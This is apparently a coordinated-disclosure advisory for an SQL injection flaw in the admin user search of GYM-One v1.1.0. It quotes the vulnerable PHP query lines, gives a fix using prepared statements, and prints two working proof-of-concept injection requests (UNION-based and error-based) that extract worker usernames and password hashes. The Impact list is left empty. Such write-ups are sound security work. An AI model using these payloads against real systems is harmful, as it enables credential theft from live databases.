lennart.hostettler@debian:~/posts

12/06/2026 — Security Advisory

CVE-2026-55871 — SQL Injection in GYM-One v1.1.0

ProductGYM-One
Versionv1.1.0
Fileadmin/users/index.php
CVECVE-2026-55871
CWECWE-89 — Improper Neutralization of Special Elements used in SQL Command
CVSS 3.1 VectorAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS Score6.5 (Medium)
Auth RequiredYes (admin session)
Discovered byLennart Hostettler

Description

GYM-One v1.1.0 is vulnerable to SQL Injection in admin/users/index.php. The GET parameters search_name and search_email are concatenated unsanitized into two separate SQL queries without prepared statements or parameterization.

Vulnerable sink 1 — Data query (line 103/106):

$conditions[] = "firstname LIKE '%$search_name%' OR lastname LIKE '%$search_name%'";
$conditions[] = "email LIKE '%$search_email%'";
// ...
$result = $conn->query($sql); // line 113

Vulnerable sink 2 — COUNT/pagination query (line 465/467):

$conditions[] = "firstname LIKE '%$search_name%' OR lastname LIKE '%$search_name%'";
$conditions[] = "email LIKE '%$search_email%'";
// ...
$result = $conn->query($sql); // line 473

Proof of Concept

> PoC 1 — UNION-based data exfiltration (Sink 1)

Extracts all worker credentials from the workers table:

GET /admin/users/?search_email='UNION SELECT 1,username,password_hash,4,5,6,7,8,9,10,11,12,13,14,15 FROM workers-- -

Result: The firstname column renders the username of each worker, lastname renders the password_hash.

> PoC 2 — Error-based data exfiltration (Sink 2)

The COUNT query only returns a number, so UNION is not usable. Error-based injection leaks data via MySQL's extractvalue():

GET /admin/users/?search_name=x' AND extractvalue(1,concat(0x7e,(SELECT password_hash FROM workers LIMIT 1)))-- -

Result: MySQL throws an XPath error containing the password hash of the first worker account.

Impact

An authenticated attacker with admin privileges can:

Vendor Response

The maintainer responded the same day the report was submitted, patched the vulnerability promptly, and communicated throughout the process in a professional and solution-oriented manner. This is how coordinated disclosure should work.

Remediation

Replace string concatenation with prepared statements using bind_param():

$where = [];
$bind_types = '';
$bind_values = [];

if (!empty($search_name)) {
    $where[] = "(firstname LIKE ? OR lastname LIKE ?)";
    $bind_types .= 'ss';
    $bind_values[] = "%$search_name%";
    $bind_values[] = "%$search_name%";
}
if (!empty($search_email)) {
    $where[] = "email LIKE ?";
    $bind_types .= 's';
    $bind_values[] = "%$search_email%";
}

$sql = "SELECT * FROM users";
if (!empty($where)) {
    $sql .= " WHERE " . implode(" AND ", $where);
}
$sql .= " LIMIT ?, ?";
$bind_types .= 'ii';
$bind_values[] = $start_from;
$bind_values[] = $per_page;

$stmt = $conn->prepare($sql);
$stmt->bind_param($bind_types, ...$bind_values);
$stmt->execute();
$result = $stmt->get_result();